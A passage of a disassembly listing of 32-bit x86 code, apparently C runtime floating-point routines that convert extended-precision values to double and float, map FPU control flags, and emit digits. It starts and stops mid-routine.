--------------------------------------------------------------------------- loc_42D0A9: ; CODE XREF: sub_42CF60+11Dj mov edx, [ebp+var_4] or edx, 20000h mov [ebp+var_4], edx loc_42D0B5: ; CODE XREF: sub_42CF60+131j ; sub_42CF60+139j ... mov eax, [ebp+arg_0] and eax, 0FFFFh and eax, 1000h test eax, eax jz short loc_42D0D2 mov ecx, [ebp+var_4] or ecx, 40000h mov [ebp+var_4], ecx loc_42D0D2: ; CODE XREF: sub_42CF60+164j mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_42CF60 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42D0E0 proc near ; CODE XREF: sub_42CE90+36p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = word ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch mov [ebp+var_4], 0 mov eax, [ebp+arg_0] and eax, 10h test eax, eax jz short loc_42D101 mov cx, [ebp+var_4] or cl, 1 mov [ebp+var_4], cx loc_42D101: ; CODE XREF: sub_42D0E0+14j mov edx, [ebp+arg_0] and edx, 8 test edx, edx jz short loc_42D115 mov ax, [ebp+var_4] or al, 4 mov [ebp+var_4], ax loc_42D115: ; CODE XREF: sub_42D0E0+29j mov ecx, [ebp+arg_0] and ecx, 4 test ecx, ecx jz short loc_42D12A mov dx, [ebp+var_4] or dl, 8 mov [ebp+var_4], dx loc_42D12A: ; CODE XREF: sub_42D0E0+3Dj mov eax, [ebp+arg_0] and eax, 2 test eax, eax jz short loc_42D13F mov cx, [ebp+var_4] or cl, 10h mov [ebp+var_4], cx loc_42D13F: ; CODE XREF: sub_42D0E0+52j mov edx, [ebp+arg_0] and edx, 1 test edx, edx jz short loc_42D153 mov ax, [ebp+var_4] or al, 20h mov [ebp+var_4], ax loc_42D153: ; CODE XREF: sub_42D0E0+67j mov ecx, [ebp+arg_0] and ecx, 80000h test ecx, ecx jz short loc_42D16B mov dx, [ebp+var_4] or dl, 2 mov [ebp+var_4], dx loc_42D16B: ; CODE XREF: sub_42D0E0+7Ej mov eax, [ebp+arg_0] and eax, 300h mov [ebp+var_8], eax cmp [ebp+var_8], 200h ja short loc_42D199 cmp [ebp+var_8], 200h jz short loc_42D1AE cmp [ebp+var_8], 0 jz short loc_42D1A4 cmp [ebp+var_8], 100h jz short loc_42D1BB jmp short loc_42D1D3 ; --------------------------------------------------------------------------- loc_42D199: ; CODE XREF: sub_42D0E0+9Dj cmp [ebp+var_8], 300h jz short loc_42D1C8 jmp short loc_42D1D3 ; --------------------------------------------------------------------------- loc_42D1A4: ; CODE XREF: sub_42D0E0+ACj mov cx, [ebp+var_4] mov [ebp+var_4], cx jmp short loc_42D1D3 ; --------------------------------------------------------------------------- loc_42D1AE: ; CODE XREF: sub_42D0E0+A6j mov dx, [ebp+var_4] or dh, 8 mov [ebp+var_4], dx jmp short loc_42D1D3 ; --------------------------------------------------------------------------- loc_42D1BB: ; CODE XREF: sub_42D0E0+B5j mov ax, [ebp+var_4] or ah, 4 mov [ebp+var_4], ax jmp short loc_42D1D3 ; --------------------------------------------------------------------------- loc_42D1C8: ; CODE XREF: sub_42D0E0+C0j mov cx, [ebp+var_4] or ch, 0Ch mov [ebp+var_4], cx loc_42D1D3: ; CODE XREF: sub_42D0E0+B7j ; sub_42D0E0+C2j ... mov edx, [ebp+arg_0] and edx, 30000h mov [ebp+var_C], edx cmp [ebp+var_C], 0 jz short loc_42D1F9 cmp [ebp+var_C], 10000h jz short loc_42D206 cmp [ebp+var_C], 20000h jz short loc_42D213 jmp short loc_42D21B ; --------------------------------------------------------------------------- loc_42D1F9: ; CODE XREF: sub_42D0E0+103j mov ax, [ebp+var_4] or ah, 3 mov [ebp+var_4], ax jmp short loc_42D21B ; --------------------------------------------------------------------------- loc_42D206: ; CODE XREF: sub_42D0E0+10Cj mov cx, [ebp+var_4] or ch, 2 mov [ebp+var_4], cx jmp short loc_42D21B ; --------------------------------------------------------------------------- loc_42D213: ; CODE XREF: sub_42D0E0+115j mov dx, [ebp+var_4] mov [ebp+var_4], dx loc_42D21B: ; CODE XREF: sub_42D0E0+117j ; sub_42D0E0+124j ... mov eax, [ebp+arg_0] and eax, 40000h test eax, eax jz short loc_42D232 mov cx, [ebp+var_4] or ch, 10h mov [ebp+var_4], cx loc_42D232: ; CODE XREF: sub_42D0E0+145j mov ax, [ebp+var_4] mov esp, ebp pop ebp retn sub_42D0E0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42D240 proc near ; CODE XREF: .nsp0:0042CE60p ; .nsp0:0042CE81p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov [ebp+var_4], 0 mov eax, [ebp+arg_0] and eax, 0FFFFh and eax, 1 test eax, eax jz short loc_42D263 mov ecx, [ebp+var_4] or ecx, 10h mov [ebp+var_4], ecx loc_42D263: ; CODE XREF: sub_42D240+18j mov edx, [ebp+arg_0] and edx, 0FFFFh and edx, 4 test edx, edx jz short loc_42D27B mov eax, [ebp+var_4] or al, 8 mov [ebp+var_4], eax loc_42D27B: ; CODE XREF: sub_42D240+31j mov ecx, [ebp+arg_0] and ecx, 0FFFFh and ecx, 8 test ecx, ecx jz short loc_42D294 mov edx, [ebp+var_4] or edx, 4 mov [ebp+var_4], edx loc_42D294: ; CODE XREF: sub_42D240+49j mov eax, [ebp+arg_0] and eax, 0FFFFh and eax, 10h test eax, eax jz short loc_42D2AC mov ecx, [ebp+var_4] or ecx, 2 mov [ebp+var_4], ecx loc_42D2AC: ; CODE XREF: sub_42D240+61j mov edx, [ebp+arg_0] and edx, 0FFFFh and edx, 20h test edx, edx jz short loc_42D2C4 mov eax, [ebp+var_4] or al, 1 mov [ebp+var_4], eax loc_42D2C4: ; CODE XREF: sub_42D240+7Aj mov ecx, [ebp+arg_0] and ecx, 0FFFFh and ecx, 2 test ecx, ecx jz short loc_42D2E0 mov edx, [ebp+var_4] or edx, 80000h mov [ebp+var_4], edx loc_42D2E0: ; CODE XREF: sub_42D240+92j mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_42D240 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42D2F0 proc near ; CODE XREF: sub_42D430+70p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_4] cdq and edx, 1Fh add eax, edx sar eax, 5 mov [ebp+var_C], eax mov eax, [ebp+arg_4] and eax, 8000001Fh jns short loc_42D314 dec eax or eax, 0FFFFFFE0h inc eax loc_42D314: ; CODE XREF: sub_42D2F0+1Dj mov ecx, 1Fh sub ecx, eax mov [ebp+var_4], ecx or edx, 0FFFFFFFFh mov ecx, [ebp+var_4] shl edx, cl not edx mov [ebp+var_8], edx mov eax, [ebp+var_C] mov ecx, [ebp+arg_0] mov edx, [ecx+eax*4] and edx, [ebp+var_8] test edx, edx jz short loc_42D33F xor eax, eax jmp short loc_42D370 ; --------------------------------------------------------------------------- loc_42D33F: ; CODE XREF: sub_42D2F0+49j mov eax, [ebp+var_C] add eax, 1 mov [ebp+var_C], eax jmp short loc_42D353 ; --------------------------------------------------------------------------- loc_42D34A: ; CODE XREF: sub_42D2F0:loc_42D369j mov ecx, [ebp+var_C] add ecx, 1 mov [ebp+var_C], ecx loc_42D353: ; CODE XREF: sub_42D2F0+58j cmp [ebp+var_C], 3 jge short loc_42D36B mov edx, [ebp+var_C] mov eax, [ebp+arg_0] cmp dword ptr [eax+edx*4], 0 jz short loc_42D369 xor eax, eax jmp short loc_42D370 ; --------------------------------------------------------------------------- loc_42D369: ; CODE XREF: sub_42D2F0+73j jmp short loc_42D34A ; --------------------------------------------------------------------------- loc_42D36B: ; CODE XREF: sub_42D2F0+67j mov eax, 1 loc_42D370: ; CODE XREF: sub_42D2F0+4Dj ; sub_42D2F0+77j mov esp, ebp pop ebp retn sub_42D2F0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42D380 proc near ; CODE XREF: sub_42D430+84p var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h mov eax, [ebp+arg_4] cdq and edx, 1Fh add eax, edx sar eax, 5 mov [ebp+var_C], eax mov eax, [ebp+arg_4] and eax, 8000001Fh jns short loc_42D3A4 dec eax or eax, 0FFFFFFE0h inc eax loc_42D3A4: ; CODE XREF: sub_42D380+1Dj mov ecx, 1Fh sub ecx, eax mov [ebp+var_4], ecx mov edx, 1 mov ecx, [ebp+var_4] shl edx, cl mov [ebp+var_8], edx mov eax, [ebp+var_C] mov ecx, [ebp+arg_0] lea edx, [ecx+eax*4] push edx mov eax, [ebp+var_8] push eax mov ecx, [ebp+var_C] mov edx, [ebp+arg_0] mov eax, [edx+ecx*4] push eax call sub_430FE0 add esp, 0Ch mov [ebp+var_10], eax mov ecx, [ebp+var_C] sub ecx, 1 mov [ebp+var_C], ecx jmp short loc_42D3F2 ; --------------------------------------------------------------------------- loc_42D3E9: ; CODE XREF: sub_42D380+9Fj mov edx, [ebp+var_C] sub edx, 1 mov [ebp+var_C], edx loc_42D3F2: ; CODE XREF: sub_42D380+67j cmp [ebp+var_C], 0 jl short loc_42D421 cmp [ebp+var_10], 0 jz short loc_42D421 mov eax, [ebp+var_C] mov ecx, [ebp+arg_0] lea edx, [ecx+eax*4] push edx push 1 mov eax, [ebp+var_C] mov ecx, [ebp+arg_0] mov edx, [ecx+eax*4] push edx call sub_430FE0 add esp, 0Ch mov [ebp+var_10], eax jmp short loc_42D3E9 ; --------------------------------------------------------------------------- loc_42D421: ; CODE XREF: sub_42D380+76j ; sub_42D380+7Cj mov eax, [ebp+var_10] mov esp, ebp pop ebp retn sub_42D380 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42D430 proc near ; CODE XREF: sub_42D6C0+ABp ; sub_42D6C0+132p ... var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 1Ch mov [ebp+var_18], 0 mov eax, [ebp+arg_4] sub eax, 1 mov [ebp+var_4], eax mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_C], ecx mov eax, [ebp+var_C] cdq and edx, 1Fh add eax, edx sar eax, 5 mov [ebp+var_14], eax mov edx, [ebp+var_C] and edx, 8000001Fh jns short loc_42D46E dec edx or edx, 0FFFFFFE0h inc edx loc_42D46E: ; CODE XREF: sub_42D430+37j mov eax, 1Fh sub eax, edx mov [ebp+var_8], eax mov edx, 1 mov ecx, [ebp+var_8] shl edx, cl mov [ebp+var_1C], edx mov eax, [ebp+var_14] mov ecx, [ebp+arg_0] mov edx, [ecx+eax*4] and edx, [ebp+var_1C] test edx, edx jz short loc_42D4BF mov eax, [ebp+var_C] add eax, 1 push eax mov ecx, [ebp+arg_0] push ecx call sub_42D2F0 add esp, 8 test eax, eax jnz short loc_42D4BF mov edx, [ebp+var_4] push edx mov eax, [ebp+arg_0] push eax call sub_42D380 add esp, 8 mov [ebp+var_18], eax loc_42D4BF: ; CODE XREF: sub_42D430+63j ; sub_42D430+7Aj or edx, 0FFFFFFFFh mov ecx, [ebp+var_8] shl edx, cl mov eax, [ebp+var_14] mov ecx, [ebp+arg_0] mov eax, [ecx+eax*4] and eax, edx mov ecx, [ebp+var_14] mov edx, [ebp+arg_0] mov [edx+ecx*4], eax mov eax, [ebp+var_14] add eax, 1 mov [ebp+var_10], eax jmp short loc_42D4EF ; --------------------------------------------------------------------------- loc_42D4E6: ; CODE XREF: sub_42D430+D2j mov ecx, [ebp+var_10] add ecx, 1 mov [ebp+var_10], ecx loc_42D4EF: ; CODE XREF: sub_42D430+B4j cmp [ebp+var_10], 3 jge short loc_42D504 mov edx, [ebp+var_10] mov eax, [ebp+arg_0] mov dword ptr [eax+edx*4], 0 jmp short loc_42D4E6 ; --------------------------------------------------------------------------- loc_42D504: ; CODE XREF: sub_42D430+C3j mov eax, [ebp+var_18] mov esp, ebp pop ebp retn sub_42D430 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42D510 proc near ; CODE XREF: sub_42D6C0+98p ; sub_42D6C0+10Fp var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_4] mov [ebp+var_4], eax mov ecx, [ebp+arg_0] mov [ebp+var_8], ecx mov [ebp+var_C], 0 jmp short loc_42D534 ; --------------------------------------------------------------------------- loc_42D52B: ; CODE XREF: sub_42D510+46j mov edx, [ebp+var_C] add edx, 1 mov [ebp+var_C], edx loc_42D534: ; CODE XREF: sub_42D510+19j cmp [ebp+var_C], 3 jge short loc_42D558 mov eax, [ebp+var_8] mov ecx, [ebp+var_4] mov edx, [ecx] mov [eax], edx mov eax, [ebp+var_8] add eax, 4 mov [ebp+var_8], eax mov ecx, [ebp+var_4] add ecx, 4 mov [ebp+var_4], ecx jmp short loc_42D52B ; --------------------------------------------------------------------------- loc_42D558: ; CODE XREF: sub_42D510+28j mov esp, ebp pop ebp retn sub_42D510 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42D560 proc near ; CODE XREF: sub_42D6C0+7Cp ; sub_42D6C0+D5p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov [ebp+var_4], 0 jmp short loc_42D576 ; --------------------------------------------------------------------------- loc_42D56D: ; CODE XREF: sub_42D560+29j mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax loc_42D576: ; CODE XREF: sub_42D560+Bj cmp [ebp+var_4], 3 jge short loc_42D58B mov ecx, [ebp+var_4] mov edx, [ebp+arg_0] mov dword ptr [edx+ecx*4], 0 jmp short loc_42D56D ; --------------------------------------------------------------------------- loc_42D58B: ; CODE XREF: sub_42D560+1Aj mov esp, ebp pop ebp retn sub_42D560 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42D590 proc near ; CODE XREF: sub_42D6C0+63p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov [ebp+var_4], 0 jmp short loc_42D5A6 ; --------------------------------------------------------------------------- loc_42D59D: ; CODE XREF: sub_42D590:loc_42D5BCj mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax loc_42D5A6: ; CODE XREF: sub_42D590+Bj cmp [ebp+var_4], 3 jge short loc_42D5BE mov ecx, [ebp+var_4] mov edx, [ebp+arg_0] cmp dword ptr [edx+ecx*4], 0 jz short loc_42D5BC xor eax, eax jmp short loc_42D5C3 ; --------------------------------------------------------------------------- loc_42D5BC: ; CODE XREF: sub_42D590+26j jmp short loc_42D59D ; --------------------------------------------------------------------------- loc_42D5BE: ; CODE XREF: sub_42D590+1Aj mov eax, 1 loc_42D5C3: ; CODE XREF: sub_42D590+2Aj mov esp, ebp pop ebp retn sub_42D590 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42D5D0 proc near ; CODE XREF: sub_42D6C0+11Fp ; sub_42D6C0+148p ... var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 18h push esi mov eax, [ebp+arg_4] cdq and edx, 1Fh add eax, edx sar eax, 5 mov [ebp+var_18], eax mov eax, [ebp+arg_4] and eax, 8000001Fh jns short loc_42D5F5 dec eax or eax, 0FFFFFFE0h inc eax loc_42D5F5: ; CODE XREF: sub_42D5D0+1Ej mov [ebp+var_4], eax or edx, 0FFFFFFFFh mov ecx, [ebp+var_4] shl edx, cl not edx mov [ebp+var_14], edx mov [ebp+var_8], 0 mov [ebp+var_C], 0 jmp short loc_42D61E ; --------------------------------------------------------------------------- loc_42D615: ; CODE XREF: sub_42D5D0+9Fj mov eax, [ebp+var_C] add eax, 1 mov [ebp+var_C], eax loc_42D61E: ; CODE XREF: sub_42D5D0+43j cmp [ebp+var_C], 3 jge short loc_42D671 mov ecx, [ebp+var_C] mov edx, [ebp+arg_0] mov eax, [edx+ecx*4] and eax, [ebp+var_14] mov [ebp+var_10], eax mov ecx, [ebp+var_C] mov edx, [ebp+arg_0] mov eax, [edx+ecx*4] mov ecx, [ebp+var_4] shr eax, cl mov ecx, [ebp+var_C] mov edx, [ebp+arg_0] mov [edx+ecx*4], eax mov eax, [ebp+var_C] mov ecx, [ebp+arg_0] mov edx, [ecx+eax*4] or edx, [ebp+var_8] mov eax, [ebp+var_C] mov ecx, [ebp+arg_0] mov [ecx+eax*4], edx mov ecx, 20h sub ecx, [ebp+var_4] mov edx, [ebp+var_10] shl edx, cl mov [ebp+var_8], edx jmp short loc_42D615 ; --------------------------------------------------------------------------- loc_42D671: ; CODE XREF: sub_42D5D0+52j mov [ebp+var_C], 2 jmp short loc_42D683 ; --------------------------------------------------------------------------- loc_42D67A: ; CODE XREF: sub_42D5D0:loc_42D6B5j mov eax, [ebp+var_C] sub eax, 1 mov [ebp+var_C], eax loc_42D683: ; CODE XREF: sub_42D5D0+A8j cmp [ebp+var_C], 0 jl short loc_42D6B7 mov ecx, [ebp+var_C] cmp ecx, [ebp+var_18] jl short loc_42D6A8 mov edx, [ebp+var_C] sub edx, [ebp+var_18] mov eax, [ebp+var_C] mov ecx, [ebp+arg_0] mov esi, [ebp+arg_0] mov edx, [esi+edx*4] mov [ecx+eax*4], edx jmp short loc_42D6B5 ; --------------------------------------------------------------------------- loc_42D6A8: ; CODE XREF: sub_42D5D0+BFj mov eax, [ebp+var_C] mov ecx, [ebp+arg_0] mov dword ptr [ecx+eax*4], 0 loc_42D6B5: ; CODE XREF: sub_42D5D0+D6j jmp short loc_42D67A ; --------------------------------------------------------------------------- loc_42D6B7: ; CODE XREF: sub_42D5D0+B7j pop esi mov esp, ebp pop ebp retn sub_42D5D0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42D6C0 proc near ; CODE XREF: sub_42D910+10p ; sub_42D930+10p var_34 = dword ptr -34h var_30 = byte ptr -30h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 34h mov eax, [ebp+arg_0] xor ecx, ecx mov cx, [eax+0Ah] and ecx, 7FFFh sub ecx, 3FFFh mov [ebp+var_4], ecx mov edx, [ebp+arg_0] xor eax, eax mov ax, [edx+0Ah] and eax, 8000h mov [ebp+var_20], eax mov ecx, [ebp+arg_0] mov edx, [ecx+6] mov [ebp+var_18], edx mov eax, [ebp+arg_0] mov ecx, [eax+2] mov [ebp+var_14], ecx mov edx, [ebp+arg_0] xor eax, eax mov ax, [edx] shl eax, 10h mov [ebp+var_10], eax cmp [ebp+var_4], 0FFFFC001h jnz short loc_42D750 mov [ebp+var_8], 0 lea ecx, [ebp+var_18] push ecx call sub_42D590 add esp, 4 test eax, eax jz short loc_42D738 mov [ebp+var_1C], 0 jmp short loc_42D74B ; --------------------------------------------------------------------------- loc_42D738: ; CODE XREF: sub_42D6C0+6Dj lea edx, [ebp+var_18] push edx call sub_42D560 add esp, 4 mov [ebp+var_1C], 2 loc_42D74B: ; CODE XREF: sub_42D6C0+76j jmp loc_42D89C ; --------------------------------------------------------------------------- loc_42D750: ; CODE XREF: sub_42D6C0+56j lea eax, [ebp+var_18] push eax lea ecx, [ebp+var_30] push ecx call sub_42D510 add esp, 8 mov edx, [ebp+arg_8] mov eax, [edx+8] push eax lea ecx, [ebp+var_18] push ecx call sub_42D430 add esp, 8 test eax, eax jz short loc_42D780 mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx loc_42D780: ; CODE XREF: sub_42D6C0+B5j mov eax, [ebp+arg_8] mov ecx, [ebp+arg_8] mov edx, [eax+4] sub edx, [ecx+8] cmp [ebp+var_4], edx jge short loc_42D7B0 lea eax, [ebp+var_18] push eax call sub_42D560 add esp, 4 mov [ebp+var_8], 0 mov [ebp+var_1C], 2 jmp loc_42D89C ; --------------------------------------------------------------------------- loc_42D7B0: ; CODE XREF: sub_42D6C0+CFj mov ecx, [ebp+arg_8] mov edx, [ebp+var_4] cmp edx, [ecx+4] jg short loc_42D820 mov eax, [ebp+arg_8] mov ecx, [eax+4] sub ecx, [ebp+var_4] mov [ebp+var_34], ecx lea edx, [ebp+var_30] push edx lea eax, [ebp+var_18] push eax call sub_42D510 add esp, 8 mov ecx, [ebp+var_34] push ecx lea edx, [ebp+var_18] push edx call sub_42D5D0 add esp, 8 mov eax, [ebp+arg_8] mov ecx, [eax+8] push ecx lea edx, [ebp+var_18] push edx call sub_42D430 add esp, 8 mov eax, [ebp+arg_8] mov ecx, [eax+0Ch] add ecx, 1 push ecx lea edx, [ebp+var_18] push edx call sub_42D5D0 add esp, 8 mov [ebp+var_8], 0 mov [ebp+var_1C], 2 jmp short loc_42D89C ; --------------------------------------------------------------------------- loc_42D820: ; CODE XREF: sub_42D6C0+F9j mov eax, [ebp+arg_8] mov ecx, [ebp+var_4] cmp ecx, [eax] jl short loc_42D86B lea edx, [ebp+var_18] push edx call sub_42D560 add esp, 4 mov eax, [ebp+var_18] or eax, 80000000h mov [ebp+var_18], eax mov ecx, [ebp+arg_8] mov edx, [ecx+0Ch] push edx lea eax, [ebp+var_18] push eax call sub_42D5D0 add esp, 8 mov ecx, [ebp+arg_8] mov edx, [ecx] mov eax, [ebp+arg_8] add edx, [eax+14h] mov [ebp+var_8], edx mov [ebp+var_1C], 1 jmp short loc_42D89C ; --------------------------------------------------------------------------- loc_42D86B: ; CODE XREF: sub_42D6C0+168j mov ecx, [ebp+arg_8] mov edx, [ebp+var_4] add edx, [ecx+14h] mov [ebp+var_8], edx mov eax, [ebp+var_18] and eax, 7FFFFFFFh mov [ebp+var_18], eax mov ecx, [ebp+arg_8] mov edx, [ecx+0Ch] push edx lea eax, [ebp+var_18] push eax call sub_42D5D0 add esp, 8 mov [ebp+var_1C], 0 loc_42D89C: ; CODE XREF: sub_42D6C0:loc_42D74Bj ; sub_42D6C0+EBj ... mov ecx, [ebp+arg_8] mov edx, [ecx+0Ch] add edx, 1 mov eax, 20h sub eax, edx mov [ebp+var_C], eax mov edx, [ebp+var_8] mov ecx, [ebp+var_C] shl edx, cl mov eax, [ebp+var_18] or eax, edx mov ecx, [ebp+var_20] neg ecx sbb ecx, ecx and ecx, 80000000h or eax, ecx mov [ebp+var_24], eax mov edx, [ebp+arg_8] cmp dword ptr [edx+10h], 40h jnz short loc_42D8EA mov eax, [ebp+arg_4] mov ecx, [ebp+var_24] mov [eax+4], ecx mov edx, [ebp+arg_4] mov eax, [ebp+var_14] mov [edx], eax jmp short loc_42D8FB ; --------------------------------------------------------------------------- loc_42D8EA: ; CODE XREF: sub_42D6C0+215j mov ecx, [ebp+arg_8] cmp dword ptr [ecx+10h], 20h jnz short loc_42D8FB mov edx, [ebp+arg_4] mov eax, [ebp+var_24] mov [edx], eax loc_42D8FB: ; CODE XREF: sub_42D6C0+228j ; sub_42D6C0+231j mov eax, [ebp+var_1C] mov esp, ebp pop ebp retn sub_42D6C0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42D910 proc near ; CODE XREF: sub_42DA10+2Ap arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push offset dword_451D18 mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_42D6C0 add esp, 0Ch pop ebp retn sub_42D910 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42D930 proc near ; CODE XREF: sub_42DA90+2Ap arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push offset dword_451D30 mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_42D6C0 add esp, 0Ch pop ebp retn sub_42D930 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42D950 proc near ; CODE XREF: .nsp0:0042DA7Ap ; .nsp0:00431E3Fp var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 18h mov [ebp+var_14], 0 mov eax, [ebp+arg_0] xor ecx, ecx mov cx, [eax+0Ah] and ecx, 7FFFh mov word ptr [ebp+var_4], cx mov edx, [ebp+arg_0] xor eax, eax mov ax, [edx+0Ah] and eax, 8000h mov word ptr [ebp+var_18], ax mov ecx, [ebp+arg_0] mov edx, [ecx+6] mov [ebp+var_10], edx mov eax, [ebp+arg_0] mov ecx, [eax+2] mov [ebp+var_C], ecx mov edx, [ebp+arg_0] xor eax, eax mov ax, [edx] shl eax, 10h mov [ebp+var_8], eax push 40h lea ecx, [ebp+var_10] push ecx call sub_42D430 add esp, 8 test eax, eax jz short loc_42D9C7 mov [ebp+var_10], 80000000h mov dx, word ptr [ebp+var_4] add dx, 1 mov word ptr [ebp+var_4], dx loc_42D9C7: ; CODE XREF: sub_42D950+62j mov eax, [ebp+var_4] and eax, 0FFFFh cmp eax, 7FFFh jnz short loc_42D9DD mov [ebp+var_14], 1 loc_42D9DD: ; CODE XREF: sub_42D950+84j mov ecx, [ebp+arg_4] mov edx, [ebp+var_10] mov [ecx+4], edx mov eax, [ebp+arg_4] mov ecx, [ebp+var_C] mov [eax], ecx mov edx, [ebp+var_18] and edx, 0FFFFh mov eax, [ebp+var_4] and eax, 0FFFFh or edx, eax mov ecx, [ebp+arg_4] mov [ecx+8], dx mov eax, [ebp+var_14] mov esp, ebp pop ebp retn sub_42D950 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42DA10 proc near ; CODE XREF: sub_427450+14p var_10 = byte ptr -10h var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push 0 push 0 push 0 push 0 mov eax, [ebp+arg_4] push eax lea ecx, [ebp+var_10] push ecx lea edx, [ebp+var_C] push edx call sub_4312E0 add esp, 1Ch mov eax, [ebp+arg_0] push eax lea ecx, [ebp+var_C] push ecx call sub_42D910 add esp, 8 mov esp, ebp pop ebp retn sub_42DA10 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp sub esp, 10h push 0 push 0 push 0 push 1 mov eax, [ebp+0Ch] push eax lea ecx, [ebp-10h] push ecx lea edx, [ebp-0Ch] push edx call sub_4312E0 add esp, 1Ch mov eax, [ebp+8] push eax lea ecx, [ebp-0Ch] push ecx call sub_42D950 add esp, 8 mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42DA90 proc near ; CODE XREF: sub_427450+34p var_10 = byte ptr -10h var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push 0 push 0 push 0 push 0 mov eax, [ebp+arg_4] push eax lea ecx, [ebp+var_10] push ecx lea edx, [ebp+var_C] push edx call sub_4312E0 add esp, 1Ch mov eax, [ebp+arg_0] push eax lea ecx, [ebp+var_C] push ecx call sub_42D930 add esp, 8 mov esp, ebp pop ebp retn sub_42DA90 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42DAD0 proc near ; CODE XREF: sub_4274A0+4Dp ; sub_427690+45p ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_0] mov [ebp+var_4], eax mov ecx, [ebp+arg_8] mov edx, [ecx+0Ch] mov [ebp+var_8], edx mov eax, [ebp+var_4] mov byte ptr [eax], 30h mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx loc_42DAF4: ; CODE XREF: sub_42DAD0+69j cmp [ebp+arg_4], 0 jle short loc_42DB3B mov edx, [ebp+var_8] movsx eax, byte ptr [edx] test eax, eax jz short loc_42DB18 mov ecx, [ebp+var_8] movsx edx, byte ptr [ecx] mov [ebp+var_C], edx mov eax, [ebp+var_8] add eax, 1 mov [ebp+var_8], eax jmp short loc_42DB1F ; --------------------------------------------------------------------------- loc_42DB18: ; CODE XREF: sub_42DAD0+32j mov [ebp+var_C], 30h 